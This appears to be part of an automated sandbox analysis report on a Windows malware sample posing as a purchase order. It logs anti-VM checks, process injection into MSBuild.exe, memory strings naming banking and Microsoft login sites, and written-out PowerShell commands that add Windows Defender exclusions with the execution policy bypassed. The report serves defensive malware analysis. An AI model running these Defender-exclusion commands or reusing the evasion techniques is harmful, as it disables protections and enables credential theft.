Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596133s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595688s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595563s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595326s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595216s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594989s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594722s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594594s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594469s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -593860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -593735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -593610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe TID: 1616	Thread sleep time: -593485s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598907	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598774	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598647	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598184	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 598061	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597337	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597119	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596133	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595216	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594989	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594722	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Thread delayed: delay time: 593485	Jump to behavior

Source: Amcache.hve.7.dr	Binary or memory string: VMware
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.7.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Amcache.hve.7.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.7.dr	Binary or memory string: vmci.sys
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.7.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.7.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.7.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.7.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.7.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.7.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.7.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.7.dr	Binary or memory string: VMware, Inc.
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.7.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.7.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.7.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.7.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd167d86b4a9a5<
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: ubygsn.exe, 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1659e59db6a3<
Source: Amcache.hve.7.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.7.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ubygsn.exe, 0000000E.00000002.4589922989.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MSBuild.exe, 00000003.00000002.4587722446.00000000015A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllb,
Source: Amcache.hve.7.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.7.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: BQ_PO#385995.exe, 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.7.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Amcache.hve.7.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: ubygsn.exe, 0000000E.00000002.4608317412.000000000407E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe

Code function: 14_2_06989548 LdrInitializeThunk,

14_2_06989548

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: BQ_PO#385995.exe, -------------.cs	Reference to suspicious API methods: GetProcAddress(_05B9_05B4_05B5_05AF_05B4_05B0_0596_05AE_05B2_05A6_05AE_05A1_05F5_05C9_0599_05AA_059E_05CF_059A_05F8_05F7, _05B6_05C6_05BD_05AB_05C0_05FD_05A3_0593_05CC_05C2_05CD_05C3)
Source: BQ_PO#385995.exe, -------------.cs	Reference to suspicious API methods: VirtualProtect(procAddress, (UIntPtr)(ulong)_05B2_05AE_05B3_05EE_05C7_05B2_05A8_05AD_05FE_05B8_05C5_05C2_05B6.Length, 64u, out var _05A4_05B6_05A2_05FE)
Source: BQ_PO#385995.exe, -------------.cs	Reference to suspicious API methods: LoadLibrary(array5[0])
Source: 0.2.BQ_PO#385995.exe.2760a49b688.2.raw.unpack, Messages.cs	Reference to suspicious API methods: capGetDriverDescriptionA(wDriver, ref lpszName, 100, ref lpszVer, 100)

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\BQ_PO#385995.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 40A000	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 40C000	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1147008	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msbuild.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Users\user\AppData\Local\Temp\ubygsn.exe "C:\Users\user\AppData\Local\Temp\ubygsn.exe"	Jump to behavior

Source: C:\Users\user\Desktop\BQ_PO#385995.exe	Queries volume information: C:\Users\user\Desktop\BQ_PO#385995.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
